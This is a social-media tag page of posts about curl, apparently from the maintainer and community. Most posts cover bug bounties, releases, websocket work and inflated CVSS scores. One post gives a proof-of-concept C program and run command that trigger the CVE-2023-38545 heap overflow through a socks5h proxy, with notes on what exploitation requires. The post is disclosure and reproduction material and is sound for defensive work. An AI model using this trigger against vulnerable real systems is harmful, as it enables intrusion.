Search

Items tagged with: CURL


Here’s a quick proof of concept to reproduce the #curl #CVE202338545 #heapoverflow #vulnerability. This PoC expects localhost to run a #socks5 proxy:

gcc -xc -fsanitize=address - -lcurl <<EOF
# include <curl/curl.h>
# include <string.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(curl) {
char url[32768];
memcpy(url, "https://", 8);
memset(url + 8, 'A', sizeof(url) - 8 - 1);
url[sizeof(url) - 1] = '\0';
curl_easy_setopt(curl, CURLOPT_URL, url);
(void)curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
return 0;
}
EOF
https_proxy=socks5h://127.0.0.1 ./a.out

Some comments:
• Application must use socks5h proxy to be vulnerable (it can be via proxy env variables or by explicitly settings the proxy options inside the app).
• Application must either fetch the attacker provided URL or follow redirects controlled by the attacker.
• Exploitation is made slightly more complicated due to this being a heap buffer overflow (many libc have built-in heap sanity checks). On modern systems with address space layout randomization (ASLR) an additional information leak is likely required for successful exploitation.
• Certain combinations of libcurl, platform and/or application options are not affected. See the advisory at curl.se/docs/CVE-2023-38545.ht… for more details.

#infosec


#curl


#curl


#curl


#curl has awarded peeps more than 63,000 USD in bug bounties so far - excluding the upcoming new CVE which alone will get the new curl record bug-bounty of 4,600 USD

This is one reason why #curl gets so much scrutiny.

#curl


I think an entry on curl.se/news.html should notify about the upcoming important release.

I originally went there to find out at which time on October the fix will be released. Can you at least name a time window?

#curl

#curl



#curl


#curl


#curl


#curl



#curl



#curl


At this point, it would be easier to create a list of devices that are _NOT_ using #curl 😆
#curl


To date, I have made 163 videos that almost all are about #curl and #libcurl and you find them here: youtube.com/c/DanielStenberg


#curl


#curl


I'll live-stream the #curl release presentation today, starting in ~90 minutes (10:00 CEST) over on twitch: twitch.tv/curlhacker
#curl


#curl


#curl


I closed the #gemini PR for #curl just now with no action, but I'm encouraging a new one to get filed later on when ready for the next step: github.com/curl/curl/pull/1117…


I'm looking for someone who wants to implement this callback for #curl #websocket support: github.com/curl/curl/issues/11…

It might be the last missing feature before we can enable it (the websocket API) by default.


#curl


@loke I know we are far from alone - I expect this to happen to virtually everyone. But as I work on #curl and it is a problem for us, I try to educate our audience in how this works.

I very much doubt that any CVSS change can fix this. It's an NVD problem rather than anything else as I see it.


"Alert: if you look up curl CVEs in public sources like NVD you will find they use inflated severity levels and CVSS scores. They think they know better and override our assessments. This is a systemic error that we unfortunately cannot fix. Feel free to complain to them - we keep doing it to no use - and consider using our material as the canonical sources for curl issues. "

Quote from curl.se/docs/security.html #curl

#curl


#curl